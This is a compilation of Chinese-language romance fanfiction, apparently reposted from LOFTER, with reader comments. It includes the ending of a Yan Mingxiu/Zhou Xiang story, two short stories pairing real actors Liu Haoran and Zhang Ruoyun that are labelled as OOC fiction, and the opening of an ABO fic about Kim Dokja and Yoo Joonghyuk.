晏夫人一边说着,一边眼睛亮亮的充满期待地看着周翔。周翔在这双极明丽的眼睛里找到了晏明修的影子,本能的温柔应答:“是很好的。”
晏夫人如释重负的拍了拍周翔的肩膀:“那就得开口了啊。”
说罢她像小姑娘一样扯着周翔的袖子,轻声细语地:“改完口过年的时候好去他爷爷那里领红包。”
“我妈要是知道我姐摆脱的是这么个废物,她高兴还来不及。”
晏明修懒洋洋的将周翔搂在怀里,见他又在看那个综艺,笑道:“怎么,演渣男这么高兴?”
周翔头也不抬:“我是听说这场里宋老师也来了,这不正在观众席里找他吗。”
晏明修瞬间黑脸。周翔也没注意,一边谨慎的拖着进度条,一边道:“我那天就见着何工了,他手机壁纸的宋老师可真是太好看了,天神下凡一样,那小卷毛,我要是何工我也……”
晏明修将他狠狠按在床////上,打断了他:“你也怎的?!”
周翔看着眼前放大了的盛世美颜,吞了吞口水又摸了摸腰:“也得想办法先认识你。”
可惜那天晚上,周翔保住了腰没保住屁///股,第二天连床都下不来,拿起手机就看见微博热搜第一是:
“周翔取关宋居寒”
点进去一看,晏明修稳居第一位毫不要脸:
@晏明修:“我干的。”
他那条微博的热评第一是宋居寒,就发了一串愤怒的表情,紧接着“何故取关晏明修”也上了热搜。
拿膝盖想都知道是咋回事。
周翔给何故打了电话,何故沉默了一瞬后看见电脑上突突突直蹦宋居寒的微信:
“宝宝你要是敢关注回来我就要闹了!”
何故一阵头疼,随口问周翔道:“那你现在自己在家?中午约个饭?我再叫上顾总?”
周翔诚恳道:“我下不来床。”
何故突然感觉后腰一凉,直觉告诉他今天晚上的宋居寒绝对不好对付,他甚至起了要去顾青裴家里避难的念头。
周翔兀自认真的开口:“千万保重啊何工。”
微博上两大天王还在混战,互相揭对方的短,直到微博终于瘫痪双方才宣告休战,含羞草cp最后be得轰轰烈烈。宋居寒气哼哼的去公司找何故,导致顾青裴在公司里愣是四个小时没找着何故在哪。
晏明修则是合上了电脑,也出了公司,只不过是去了另一个地方。
远处高山上的寺庙似乎直入云端。
从前周翔没回来的时候,他曾经在这里叩首千遍祈求周翔能回来。
后来周翔回来了,他又来这里叩首祈求家人能够接受周翔。
现在他站在这里,周翔在家里给他发微信,抱怨他乱吃醋;晏家群里晏飞和他说周末记得带周翔回来吃饭;陈英和他说刚刚又种好了新鲜的时蔬,记得给他妈妈拿回去。
手机在他手心里发烫,炽热到让他觉得他似乎握住了整个人间。
于是晏明修再一次深深叩首。
祈求他深爱的和深爱他的人,一如既往,长命百岁。
等他再次站起身来时,远处的微风冲散了流云,刺穿了过往的层层雾霭,迎来了一片昳丽朝阳。
就好似他曾经拥有的和那最难得到的,都在尽皆失去后,又尽皆归来。
-完-
只会想不会写
细节控的福利,我超?????嗷嗷嗷……撒娇争宠的?:“翔哥我jio好痛、翔哥我想吃火龙果、翔哥你都不先关心我”???宠溺纵容的翔哥:打地板、喂火龙果、咽下被不甜的火龙果…
晏家宠对象(亲近的人)恐怕是遗传
晏飞:就不能给周翔接个好点的剧本??
晏夫人:多炒几个菜…
大?:终于不用弄死冤种弟弟了??
想继续看下去!想见证晏周低调日常的?
??????
23. 知乎体:如何判断一对CP是营业还是真爱
沈十一>
From LOFTER
【柴哈】知乎体:如何判断一对CP是营业还是真爱
#ooc 私设
#现实向AU 私设三年后
#甜奶大势同性婚姻合法
匿名
不请自来。
我是个成熟男星,被称为cp万金油。之前我偶尔也去过你们经常逛的那个视频网站,B站吧好像,发现我好像真的看谁都很深情,你们剪辑的真的太厉害了。
真的真的。是在夸你们。
我有一个很喜欢很喜欢的哥哥,他很帅鼻尖有一颗痣,我只能透露到这里了,否则明天的微博热搜就会是:#XXX 知乎掉马#
我可不想。
我和我的哥哥认识是在一档综艺节目上,玩游戏的时候他脸上蹭了一脸牛奶,我看着他亮晶晶的眼睛,感觉自己脸颊有点烫,下意识的就说了一句“你脸上有奶,我帮你舔干净”哥哥没说话,把脸往我肩膀的衣服上蹭了一圈,他头发软软的,我偷偷揉了揉他的头。
哥哥很帅,但是你们摸不到他的头哈哈哈,虽然我摸了以后也会被打。
然后上了这个节目我们就有了cp,粉丝起的名字还蛮可爱的,我也加了哥哥的联系方式,哥哥喜欢搞很多文艺的东西,写诗啊弹钢琴啊演话剧啊什么的。
搞得我也只好去学习这些东西。
哦对了,学习的原因就是经纪人说的营业,他说在这个年代会很吃香,对我不是坏事。我觉得自己还算听话敬业所以就听话的去做了。我不知道哥哥那边是怎么样的,但我们私下联系一直都没有断,可能是营业内容之一?
毕竟我还不算很大,虽然我已经是一个成熟男人也被迫接了很多绯闻剧本了,但我还是搞不太明白这些弯弯绕。所以挺多朋友叫我钢铁直男,其实我知道是什么意思,可你们可能不太清楚,情商这个东西后天不太好补。
我问过哥哥情商这些东西,他一如既往的笑出盒盒盒盒的声音,那颗小痣也皱了皱,嘴巴笑起来一个很好看的弧度,如果他不说接下来那句话我没准会呆几秒沉浸在他引以为傲的“长得帅”里。
“恕我直言,在座的都是弟弟”
你们为什么从来不说他是钢铁直男,我不懂。
还没说吧,哥哥比我大好多,将近十岁。
我们的资源没什么重合,所以也很久没见面,我们cp的呼声也渐渐小了。
但其实我们一直都在联系哦。
直到一年前我们一起参加了一个推理综艺,我总是会下意识的叫哥哥的名字,哥哥也很喜欢和我待在一起。
可能是剪辑问题吧,每次那个节目一播出我和哥哥就会一起上热搜。有很多粉丝说我们是很明显的营业cp。说我们发糖(这个词是这么用的吧)太频繁一看就是故意的,说我看哥哥的眼神在私下不知演习了多少次,还说我营业的演技要是都用来拍电影早就得金马奖了。
哥哥可能也知道吧,所以私下好久没联系我,我有点难过。
也有人问过我“你真的是在营业吗”
可能是吧,我自己也搞不清楚了,那些去拽袖子去挽胳膊去对视偷笑的小动作,都是演的吗?
我自己也不太清楚了。
那个节目录完了,我和哥哥的cp也终于如愿以偿的火了,在那个微博cp榜每天都能在前三逛荡着,他们看上去很好,可是他们不知道,哥哥已经很久没联系我了。
哥哥真的真的很久没联系我了。
我们以前会一起约着吃火锅,会一起打游戏,一起分享他的高级红酒,知道哥哥两杯倒后很可爱,会给他发我不刮胡子的照片,会逼着他说我的二十个优点,会逼着他和我一起去看我的电影首映。
我也忘了多久了,很久了吧,如果从刚认识到现在,也有六年了吧。
我觉得我们的营业该结束了,因为我好像有点喜欢哥哥了。
因为之前就有人告诉过我,心里有鬼的人,无论如何都演不好戏的。
好啦,故事讲到这里就该结束了,因为我要回复哥哥的短信了,他给我发来了一个月来的第一条信息,在我锲而不舍的发了一个月的早晚安后,又回了我两条信息。
“我不想营业了”
“你要不要试试假
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戏真做”
虽然这样好像很没有职业道德,但是如果是哥哥非要我这样配合他,也不是不可以。
好像有点偏题,我想再说一句,真爱还是营业,其实很好辨别,微博内容可以写文案,点赞可以手滑,可是眼睛,是无论如何骗不了人的。这圈子没那么脏,因为我们都不是很聪明的人,我们会有小心机想更红一点,会不得不为了一些目的去做一些事情,但更多的,我们是真实的。
你看,哥哥看我的眼睛亮晶晶的,我在他眼睛里也看见了一样眼睛里发着光的我。
我想,这就是真爱了吧。如果你们非要说是营业也没办法,因为我们怕是不会轻易停止营业了。
没办法,恕我直言,在座的都是弟弟。
评论:
的的的鼻尖痣:虽然知道是编的,莫名有点感动。
甜奶罐:怎么,和我磕的cp这么像呢。
好燃火柴盒:举报了举报了
张若昀V:这就是刘昊然你说的不掉马不毁形象的讲故事方式?还有你那少女的说话语气和谁学的?
答主回复:可以去lofter啊,给哥哥指路。
本楼回复:我点开了这个号是真的的的!
回复:!
回复:!
回复:!
微博热搜:
#刘昊然张若昀#
#甜奶szd#
#刘昊然掉马现场#
#刘昊然离粉丝生活远一点#
#张若昀 鼻尖痣#
刘昊然turbo:你好,哥哥。//@张若昀:你好,弟弟。
热门评论
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想做也总扎辫子的小皮筋儿?
dbq虽然我知道这只是文章但是当我看到张若昀v和#这个两个熟悉标志的时候我还是激动的从床上摔了下来
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锅锅
我一想,确实没有人认为的的钢铁直男,公认情商满级?
147
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六元不卖
好好看……纪实文学太可爱了
24. 小狼狗男友吃醋了怎么办?
沈十一>
From LOFTER
【柴哈】小狼狗男友吃醋了怎么办?
#OOC
#沙雕小甜饼
刘昊然味同嚼蜡的往嘴里送着东西,看着周旋在一群女制片人里的张若昀,表情格外的不对劲。
明明是自己的杀青宴,怎么感觉自己才是那个被照顾的家属。
刘昊然几乎是半拖半拽着把人拽上了车,跟导演打了个招呼就一脚油门蹬了出去。
张若昀被安置在副驾驶座上,探起身来和他说话。“刘昊然你怎么想的,把制片人晾在那主角走好吗?”
这不说话还好,一说话张若昀身上沾染的那些女人的香水味就一个劲的往刘昊然鼻子里钻,刘昊然没说话,摇下了一边的车窗。
张若昀在应酬时喝了点酒,本来已经醉了三分,被刘昊然这么一冷顿时火就上来了。
“刘昊然你多大了,耍什么小孩子脾气呢?”
刘昊然心里也不痛快,踩了刹车停在路边。
“怎么了,美女簇拥的感觉没尝够?”
下一秒,张若昀的下巴被抬起,被迫与刘昊然接了一个吻。他愣了两秒,随后更加倍的反击,两人的火都来的莫名其妙,接吻也活像打架,车里空间本就不大,此刻更是旖旎。直到两人嘴里蔓延起铁锈味,刘昊然才停了这个吻,抹了抹撞破的唇角。撇开视线不再去看张若昀,专心开他的车。
任是再怎么迟钝还喝了酒也该明白刘昊然心里那点弯弯绕了,又拉不下面子,只好迂回着撸着柴犬毛。
“吃醋啦?”
“我不是想多帮你积累点人脉吗,拍戏怪不容易的,遇到好片子更不容易”
“昊然”
张若昀从车窗的倒影里偷偷看他,刘昊然没说话,嘴唇紧紧抿成一条线。
这还是第一次刘昊然这么冷淡的对他,从追求他的时候开始,他就总是笑着的,让张若昀都快忘了他不笑的样子。
那时他在镜头拍不到的角落偷偷从后面抱住他,在他耳朵边小声地说话。
“小张同学,我喜欢你”
张若昀忘不了那一秒的心动,而这样心动的瞬间,刘昊然带给他不止一次。
看着故作严肃的小男友,张若昀倒来了兴致,想着自己反正今天喝了点酒,明天醒了也可以全都怪罪在酒的头上。
其实他此时此刻清醒的很。
他偷偷去牵刘昊然挂挡的那只手,“别捣乱,开车呢”
小张同学有点委屈,又伸手去够刘昊然的胸针,惹得刘昊然的轨道一度偏离,好在深夜路上没什么车。
又一次逼停了车。
“若昀,乖,我先把车开回家”
张
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若昀见他有缓和的迹象又不想放下哄好男朋友的好机会,拽了拽刘昊然的衣角。
“别生气了”
“嗯”刘昊然软着嗓子应了一声。
“我错了”
“嗯”
“哥哥”
张若昀如愿的看见刘昊然的耳朵染上绯红,一脚油门踩到底,终于打破了刘昊然面子上的冷静,那一声软软的轻轻的,夹着酒气的“哥哥”,像个小小的烟花在他耳边炸开。
张若昀笑了起来,想着哄好男朋友也没有那么困难吧,两个字就够了。眼睛眯成条缝,又调侃的叫了几声“哥哥”,脆生生的,在刘昊然心里撞出一个缺口。
刘昊然瞥了他一眼,张若昀坏坏的给他一个wink,妈的。
到家就让他知道晚上谁才是哥哥。
后来张若昀再也没喊过刘昊然哥哥,没办法。上次喊了几句刘昊然让他喊了一宿。
吃一堑长一智。
热门评论
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爱倩倩
我有个朋友说他想看蓝色的东西
701
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江尚北
我朋友想康康那一宿的哥哥是怎么喊的
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919291·
谁不想让小张叫哥哥呢(? ̄? ??  ̄??)
25. 南山塔没有雪
蓝川血
【众独】南山塔没有雪
现代pa/年下/ABO/全文1.6w
Alpha刘众赫xBeta 金独子
非典型分手复合文学
Summary:狗被遗弃后跨越千里站在家门口只为了咬金独子一口的故事
金独子走进店里的时候正值中午,平常弘大就满是游客更别说周末午餐时间了。但谁叫他答应了韩秀英这周要陪她逛街,这位纯属因为上次推了她的约来折磨自己的。
这家紫菜包饭店很出名,在弘大游客最多最繁华的街道都坐拥了一个不小的门店。金独子也很爱吃他家的罗杰年糕和炸鱼饼。基本隔一段时间就要来吃一次解解馋。
店里坐满了人,金独子在靠窗边玻璃的位置找到了韩秀英。大作家本人倒是没什么自觉,也不怕自己被人认出来。他坐下问她想吃什么,韩秀英毫不客气的狮子大开口说了四种不同口味的紫菜包饭。金独子点点头说知道了,然后起身去前台点了两份她完全没说过的口味和自己要的套餐。
付完钱拿了小票又坐回位置上等着出餐。这个时候正是吃饭的点,店里满是来旅游的各国游客。金独子其实平常自己不是想吃这里的店一般都很少来。
弘大太热闹太有活力了些,站在街上不动,五秒内可以听到说着五种不同语言的游客从身边经过。但其实还挺有意思,这让他感觉自己也像出国了一样。
韩秀英坐在他对面开始喋喋不休地说起上礼拜签售会上发生的事情。金独子就支着下巴听,眼神时不时扫过窗外。今天太阳倒是很好,只是明显降温变冷了些。
金独子对于快要到来的冬季明显有些不耐烦,因为首尔实在太冷了。即便他住了这么多年,每年冬季仍在抱怨这件事。零下十几度不是能轻易适应的,再多年也不行。他不太爱锻炼,体质一般,冬天总觉得难熬。不过下雪的首尔很漂亮,景致让人心里安静些。虽然该冷还是冷。
“你到底有没有在听我说话。”韩秀英看着刚去端了餐盘回来,重新坐回位置上的男人。
“刚刚不是说签售会主办方排队管理的很烂,还有人在现场吵起来吗。”
韩秀英不止一次对金独子这种,看似走神结果竟然真的一字不漏听人说话的本事感到语塞。她觉得大半他还是在走神,只是也在一边听罢了。没走心才是真的。
她塞了一口紫菜包饭,才发现是金枪鱼的。但是又因为很好吃,所以选择大度地放过金独子先前没听她的点单命令。
金独子有段时间没来这里吃饭了,最近加班的时间不少。周末就在家休息懒得出门了。说是休息其实也只是躺着看看小说,外加打扫下家里卫生。他上个月刚搬完家,换租了一套单身公寓在离公司比较近的位置。纯粹也只是不想跟之前一样,在早班地铁上跟一堆人挤得乱晃。
韩秀英继续接着说刚刚说的事情,一边吃还不忘一边给自己灌口水喝生怕噎着。金独子嚼着炸得喷香的鱼饼,好吃得眼睛都微微眯了起来。
结果下一秒话没断过的韩秀英停住了,活像是被谁突然拧住了发条一样。嘴巴里还塞得鼓鼓囊囊的,颇有些滑稽的感觉。
于是金独子不得不用眼神去询问怎么了。
韩秀英把嘴里的年糕咽了下去,神情突然变得很微妙起来。
“我问你一件事,你别生气。”
好吧,一般这么说多半就是要惹他生气了。但金独子此人平常对朋友向来服软没脾气。他只是有些不解的让她继续说。
“你觉得,你前男友出现在首尔的概率有多大。”
甚至不是什么疑问句,韩秀英看着他的眼神很认真。只是问题问得人一头雾水。金独子一下没反应过来,哑了声音。
关于他前男友的事情,韩秀英知道得差不太多。分手后金独子在她逼问下避重就轻说了个大概。一年里发生的事情就这么轻飘飘地揭过。就连韩秀英想继续问,金独子也不想再说了。于是他们平常聊天就会完全避开。
但韩秀英突然就反常地提起这个话题了,相当不合时宜的。
距离他的上一段感情已经过去两年了。可金独子心里还是被塞得很实,他自己也掏不明白。但理智上他觉得自己早该放下了,于是没什么不能说的。
“有可能吧,顺利的话他现在也许正在首尔继续读大学。”
说这话的时候语气很坦然平静,好似在说着一件平常的小事。
这下轮到韩秀英语塞了,她的脸色有点像一下吃了过多的芥末一样开不了口。
“那你回头看一眼?”
她实在说不出什么那个男的长得好像你前男友这种怪话。她看过他们为数不多的合照。知道他前男友叫刘众赫,长得很高很帅脸很臭,没了。
金独子不自觉地拧了下眉,他其实是觉得不可能的,但总在别人提起那人时不自觉的拧巴了起来。
他顺着韩秀英的视线看了过去,店里依旧客人很多。穿着深色店员服的高大男人就站在收银台后,刚刚金独子去结账的时候还不是他。似乎是方才交了班换来前台的。他戴了白色的口罩和帽子,但那双眼睛估计化成灰他都不会忘记。金独子是指自己化成灰的时候。
浓密的眉毛与乌黑的眼睫,眼睛总是很亮的。但眉头会习惯性地微微下压,看起来不太好惹。目光却是平静的,一片黑沉沉的海。瞳孔间随着动作零星晃动的光亮像是偶尔卷起来的白色碎浪。只露出这样一双眉眼都带着足以吸引人的魅力。
周遭细碎的人声都褪去了那般,金独子竟然就这么愣住了。丝毫没意识到自己在座位上转身的动作有多别扭。
他看着他动作熟练地为客人点单收银,目光很专注。没有分给其他事情一分一毫。于是金独子也就没有了要收敛视线的意思。他们之间隔的距离不算近,金独子就这样又看了一会,才转过身来。
他一直盯着刘众赫看,韩秀英就一直在观察他的表情。她的目光里流露出一种很复杂的情绪来,看起来想问什么又憋回去了。其实她不是没遇到过这种情况。不就是遇到朋友的前任吗。换做平常她肯定插科打诨陪人一起骂起来了,毕竟世界上还是恨自己前任的比较多。
但金独子的情况很不一样,这就说来话长了。于是韩秀英嚼着嘴里的食物,只这么看着沉默的金独子问。
“你有没有看过一个新闻。”
“啊?”金独子的眼神看起来很茫然。
“有一只狗在被主人遗弃后,独自跨越了一百公里回家只为了咬主人一口。”
好了,金独子差点被他最爱的年糕一口呛死。
“你说什么?”该死,他竟然真的又问了一遍。
“没什么。”韩秀英用一种很微妙的眼神看向收银台后仍在忙碌的男人,里面甚至带着点奇怪的同情。
“毕竟你不是Alpha,感觉不到也很正常。”
金独子全然不知所云,他作为一个Beta又怎么了吗。为什么韩秀英就说起些模棱两可的话来,她又知道什么了?
算了,不管是什么都和自己无关了。
本来应该是这样的。
金独子躺在床上对着天花板干瞪眼。事实上是他自从白天见到刘众赫那一面之后,几乎脑海里想着的都是这个问题了。然后就从一个问题变成了一连串的问题。
他为什么会在这里?
不对,他应该正在读大学啊。
对了,所以他在首尔也很正常。因为他当时考的就是首尔大学啊。
不对,那他为什么会在弘大出现?
哦对,在弘大打工的大学生其实不少。因为缺人还是按时薪日结的工资,来钱会快一些。
不对,所以他现在还是很缺钱吗?
金独子在床上翻来覆去,被子都把自己裹成卷饼了。还是在意的不得了。
头发被他抓得凌乱到窝成一团乱糟糟的,金独子很想让自己不要去想了。但是实际上他压根控制不住自己的情绪,它们一旦碰上刘众赫就像被开了闸的堤坝一样涌个不停。不是很有破坏力的那种,但总归仍是在意的。
他呆呆地看着天花板,一个年近三十岁的男人想着比自己小了六岁的前男友夜不能寐。实在太不像话了。
但回忆就是这么蛮不讲理的东西,哪怕过去了两年时间也没有冲淡太多,反而越发清晰了起来。如同被海浪冲走沙砾后留下的贝壳,一个又一个,就这么留在回忆的浅滩上。
海,依旧是那片广阔无垠的海面。金独子从小在首尔长大压根就没怎么见过海。但釜山就是座海边的城。这里的人傍海而居,和默默流淌涌动的生活一样。
金独子初来乍到,原本以为自己可能会不太适应,但实际上还好。新的子公司设立在釜山,他就不幸地被选中第一批员工调来了这里。上司美其名曰“磨练一下”。金独子别无他法,只得接受。其实他也说不上反感,不过要猝然间被迫开始换一种全新的环境生活,也并不是一件容易的事情。
这里的海真是美,金独子曾经不止一次这么感叹。不是那种透明的浅色,往往是一种澄澈纯净的深蓝。看起来天空也要倒扣在海面上。
在釜山生活确实也跟首尔很不一样,毕竟在首尔看不到一大早在沙滩上打高尔夫的大叔和街边开嗓唱歌的阿姨。生活节奏比起首尔慢了许多,海风吹得咸涩。
子公司刚成立自然也是忙得脚不沾地的,经常一群人加班到深夜。到了有时候甚至要在公司过夜的程度。于是金独子白天在公司吃食堂,晚上加班就只能在便利店解决。
金独子第一次深夜进那家便利店就注意到了刘众赫。年轻高大的男孩穿着那套款式简单的店员服都衬得亮眼,看起来就像什么杂志封面模特之类的。宽阔的肩膀与修长的身形,简直帅气得叫人移不开眼睛来。黑色的发落在额间,微微抿着的薄唇。刀削似的下颌线与散发着冷淡气息的面庞。看起来就像一块浸着水的冰。
金独子发现他经常一个人守着深夜的GS25便利店值班,没有客人的时候就清点和搬运商品整理货架。这份工作很辛苦。夏天的釜山热气蒸腾,哪怕深夜也依旧是闷热的。但这里不像首尔那么热闹,深夜人并不多。
往往流程最后都会变成两人隔着柜台,刘众赫沉默地给他扫描结账。两人最多的交流是询问他是否需要袋子。
金独子喜欢坐在靠窗边的位置吃东西。微波炉转两分钟就好的紫菜包饭,或者是速食便当之类的。他没什么胃口,但加班人总是容易饿的。吃东西就像是为了活下去而吃的那样。
海滨城市的天气也总是多愁善感的,滂沱大雨有时说下就下。金独子从公司下来的时候没有带伞,看了眼手表上的时间。想着都加班了那就没什么好急的,那就等一等吧。他想着是等一等雨停,眼睛却不由自主地等在了刘众赫的身上。
那个时候金独子还不知道他的名字,手支着下巴视线不着痕迹地描摹着男孩的背影。他觉得他身上有种很独特的气质,介于男孩与男人之间的模糊。青涩的果实褪去那一层皮,是纯然饱满的味道与颜色。
金独子是个beta,以至于他一直以来对信息素都没有什么很标准的概念。他从来不会好奇也不会多想,甚至还会在路上好心帮助突遇发情期的omega将其送到救助站。但面对眼前的人那一身外露的气场,叫人不信他是alpha都很难。
他看着他有条不紊地从仓库里搬出整箱整箱的货物,然后挨个清点整理上货架。这样繁杂枯燥的工作也能被他做得看起来非常有趣似的。
果然人长得好看做什么都赏心悦目。玻璃外的雨声没有停过。金独子有些不着边际地想着。
有时雨下得太大,金独子会站在店门口外抽一根烟再走。白色的烟雾很快被雨水冲散消失,连落在地上的细细烟灰都被洗刷干净。夜晚黑得像能吞噬一切的大海。
后来他才发现,其实那个时候刘众赫也一直在默默注视着他。
于是每每回想起那时的雨声,当真是震耳欲聋。雨水丰沛而潮湿,隔绝了另一半的世界。只有他和刘众赫被困在这一角之中,在盛夏的雨季里互相交换了寂寞的位置。只是当时的金独子还未曾觉察罢了。
他有时候会觉得自己的灵魂实在太过干枯无味,不怎么光彩的前半生与按部就班的生活。几乎是那种一眼望得到头的人生。硬要说的话,就是那种不怎么值得写下来的故事,没有什么价值。
但刘众赫和他是不一样的,他从第一眼就知道这一点。那时候他们并不互相了解。
金独子面对刘众赫时常有种赤诚的关切。有点像他面对自己喜欢的小说主角,又带着点年长者对于后辈的态度。这实在是别扭又奇怪。
他们真正熟起来的契机全然是场意外,并且是那种不怎么愉快的意外。金独子到现在都忘不掉那一幕。
那天中午的时候他从海鲜市场出来,手里拎着袋子心里还盘算着做海鲜面好了。然后就在下一个街角口看到了倒在地上的黑色摩托车和人。甚至地上还散落的一片狼藉,头盔滚出去好一段距离。
金独子也是第一次遇到这种情况,也顾不得自己手里还拎着东西。手上啪得一松就冲了过去。他不敢乱动躺在地上受伤的人,生怕造成二次伤害。直到他看清了那张脸,竟然是刘众赫。对方才缓过神就要自己从地上起来。金独子顾不得三七二十一连忙伸手去扶他,都不敢太用力。
“我没事。”他的声音听起来沙哑,说完后嘴唇紧抿着。左手却摁上了右肩,疼得脸色发白。
金独子不懂他为什么这种时候还偏要逞强,连自己都快吓得不行。刘众赫还要强撑着站起来去扶倒下摩托车。
“你别动!我去给你扶。”他听见自己急匆匆地开口,语气里满是担心和说不出焦急。金独子扶稳了刘众赫等他站起来,又去替他把地上的摩托车扶了起来靠墙停在路边。
“我现在送你去医院。”金独子紧张地查看了一下他的身体情况,发现看起来好像没有很严重的外伤。至少没有流很多的血,不过鉴于刘众赫穿了一身黑所以金独子不敢确定。
“不用了。”刘众赫用一种很平静的眼神看着他,尽管脸色苍白得不像话。好像压根不是什么大事一样。他甚至还摸出口袋里的手机,摁着屏幕不知道在处理什么。
金独子不知道自己哪来的无名火起,烧得很烈。他平常不是这么易怒的人,却被刘众赫这无足轻重的态度弄得火大。
他只记得自己最后强硬的把刘众赫带去了医院。甚至是在挂急诊替他填写病患信息的时候才知道了他的名字,年龄那一栏里填着二十。比自己小了整整六岁。
也是在那一天开始,他们才算是真正的互相了解起来。或许命运与缘分很多时候就是这样不叫道理的东西。它猝然间降临,就像盛夏的暴雨,于是人们只能祈祷它再下得久一些。除此之外别无他法。
金独子才知道刘众赫是因为骑摩托车送外卖才不小心被别的车撞到了,对方却留下他躺在地上扬长而去。所幸刘众赫伤得不算重,来医院也算及时。
金独子却还是很生气,他也没想明白自己在这里固执个什么劲。明明他和刘众赫压根没说过两句话,甚至在此之前都不知道他的名字。明明只是陌生人而已,他已经够好心的帮助了这个陌生的alpha了。难道还有什么不够吗?
他坐在医院走廊的长椅上等刘众赫处理好肩膀上的伤口。前面还跑前跑后为他缴费填单子,金独子这会儿才想起来被自己扔在原地的那一袋子海鲜。又轻轻叹了口气。
科室的门被推开了,金独子刚想起身就见刘众赫走了出来。他这才意识到眼前的人着实比他高出不少,连肩膀都宽上很多。金独子微微眯起眼,仰起头逆着光有些看不清对方脸上的表情。
他听见他开口问他的名字。金独子这下想起他甚至还没告诉过他。忽然间就像是想通了什么似的,他笑了一下说。金独子,我叫金独子。
金独子决定要一管到底。
说起来他人生里能让他在意的人和事本就不多。他不想管刘众赫怎么想的了,他不乐意就不乐意,那是他的事情。我就当自己难得大发善心了不行吗,金独子心想。
金独子那个时候还没有意识到,能让刘众赫主动在意他是谁,这件事本身就不太寻常了。因为他那时只顾着关心刘众赫的身体和生活了。
实际上他也是花了好一阵子时间才了解到全部的事情。不用想,刘众赫一看就是那种心防极高的人。那天之后金独子对刘众赫可谓是软硬兼施,有时候他都觉得自己在抱着一块木头硬啃。还非要啃出个答案来才行。啄木鸟可能都没有他这么固执给木头治病的。
金独子换着法子明里暗里旁敲侧击地说了许多话,他跟刘众赫说这段时间先请假不要工作了,养好身体再说。又说有什么不方便的都可以找他帮忙,还顺势套出了刘众赫的住址和联系方式。
当时金独子还只觉得自己有种老油条前辈哄骗后辈的嫌疑,良心隐隐不安。
后来当他们在一起之后,金独子突然回想起那一天才觉得哪里有些奇怪。他从后面扑上去勒住正在厨房做饭的刘众赫的脖颈,用一种亲密而无赖的姿势抱着他。这才问他,在医院那天为什么就这么乖乖的我问什么你答什么,全告诉我了。
因为金独子知道,按道理来说他不可能这么毫无防备地告诉一个陌生人这些事的。
刘众赫似乎没想到他会突然问这个问题,沉默了一小会儿。一时只听见锅里煮的嫩豆腐汤咕咚咕咚的声音。
可能连刘众赫自己也说不清楚,但其实好像也没有什么特别的原因。
只是那天金独子送他进急诊室的时候,刘众赫不小心碰到他的手,才发现原来他一直在发抖。
在刘众赫受伤那段时间,金独子几乎是一有空就时不时给他发消息。甚至还会找各种理由直接找上门来,美其名曰自己一个人做饭也是做,不如一起吃了。
他那个时候还不知道刘众赫其实不太爱吃别人做的东西,还经常十分高兴地看着刘众赫乖乖吃了自己做的饭。
也是在那个时候金独子见到了刘众赫的妹妹,刘美雅。小女孩还在读小学,长得很可爱。只能说不愧是刘众赫的妹妹。
于是金独子也知道了刘众赫为什么这么拼命的工作。父母去世得早,只给他们留下这间公寓和为数不多的遗产。刘众赫必须要一边照顾妹妹一边打工赚钱读书。早一些的时候都撑过来了。但是读大学的成本却不是能一下子负担得起的。
刘众赫投的首尔大学,其实已经凭借极为出色的成绩过线。但是假如要去读,就得带着妹妹一起去首尔生活。他不愿意卖掉父母唯一留下的房子,也不想借学贷过早负债。于是只能暂停,开始全职工作攒钱。
刘众赫说这些的时候没什么表情,语气也很平淡。好像说的只是旁人的一件小事。只有金独子听着听着就愣住了,他想到他已经二十岁了。这就意味着这样没日没夜辛苦的日子,刘众赫已经过了一年多了。
金独子时不时会想,刘众赫只要想,他就能把身边的人照顾得很好。如同大海悄无声息地包容这一切,对自己却如此苛刻。只是默默承受着磨难与生活的蹉跎,并不作声。他太过沉默了,以至于容易让人忘了他正在忍受痛苦。
而金独子并不想他这样,他光是想想就感觉心脏酸胀疼痛得拧成了一团。这种感觉几乎无法轻易用语言描述。
后来金独子才明白,有时候爱会写下的第一章,便是一种不忍。
釜山的冬天比起首尔算是好很多了。至少没有零下十几度大雪纷飞的严寒,最多也就零下五度以内。尚在金独子的接受范围内。将近年底了公司事情多自然忙碌。那个时候刘众赫的伤早已好了,两人之间的联系似乎也与之减少。
金独子早就摸清了刘众赫是个脾气和性格。基本都是他在主动发消息,但刘众赫每条都会认真回复。他一想到他认真看自己发的每条消息,然后就挨个回复还觉得有点可爱。
但那段时间实在是太忙了,忙到金独子没时间去看SNS。等他想起这件事的时候已经过去大半个月。金独子有点心虚的点开两人的聊天框,最近一条竟然停留在今天上午。再往上翻,竟然都是刘众赫发来的,整整49条未读消息。
金独子实在不好意思承认自己心里还有点甜滋滋的,他直接约刘众赫晚上出来请他吃饭。
其实刘众赫身上伤好得挺快,在那之后就变成刘众赫做饭。金独子就负责想去他家吃的时候就去吃,刚开始还有点礼貌发消息问。以免突然去没自己的份。后来直接没了这种顾虑,因为他发现不管他去不去,刘众赫好像总是做这么多。那也是完全超出他和刘美雅两人份的量。
那天晚上金独子喝多了,之后每每回想起那个晚上他都不知道该是庆幸还是种罪过。总之他就这么稀里糊涂的跟刘众赫滚上了床。
第二天金独子醒来的时候感觉天都要塌了。首先,他得承认他对刘众赫是有好感的。其次,这不代表他就能接受立刻跟对方不清不楚地上了床。并且自己还是下面的那个。当了半辈子直男beta的金独子一时间大脑空白。
脑子里拼凑的记忆开始缓缓转了起来,金独子感觉自己脸红得快要原地蒸发了。他不敢想象自己是怎么能受得了的,该说刘众赫不愧是alpha吗。当真是天赋异禀。金独子不敢再回忆下去了。
他其实很想跑,但是他看了一圈才反应过来这里是他家。金独子之前刚从公司宿舍里搬出来,原因是受不了打鼾的室友,实在是太影响睡眠。
甚至还没来得及邀请刘众赫来做客。这下倒好了,直接做到新家床上去了。
刘众赫就是在这个时候醒的。那双黑沉沉的眼睛就这样静静注视着他,也不说话。金独子有点紧张,脑子卡住没转过弯来。也不懂他为什么不说话。又过了几秒才发现他一直在盯着自己的后颈。
金独子条件反射性地抬手去碰,鲜明的刺痛感传来。手指摸到一圈清晰的齿痕就在他的后颈上,咬得很深,已经结了一层薄薄的血痂。
金独子咬紧后槽牙,决定收回前面那点不好意思和自责。
刘众赫似乎看出他想跑,二话不说就先坐了起来将他整个人揽进怀里。手掌贴在腰上攥得很紧,脸上甚至还带着些惺忪的睡意。金独子大脑又开始当机了。这种时候的alpha似乎占有欲格外的浓重,甚至到了一种露骨的地步。
金独子不免为自己感到有些悲哀。因为他发现自己即便是现在这种处境,他依旧注意力被吸引在刘众赫的脸上。这张脸真是帅得人神共愤,金独子属于一种被勾得五迷三道。
有点好笑的是,刘众赫说要他负责。
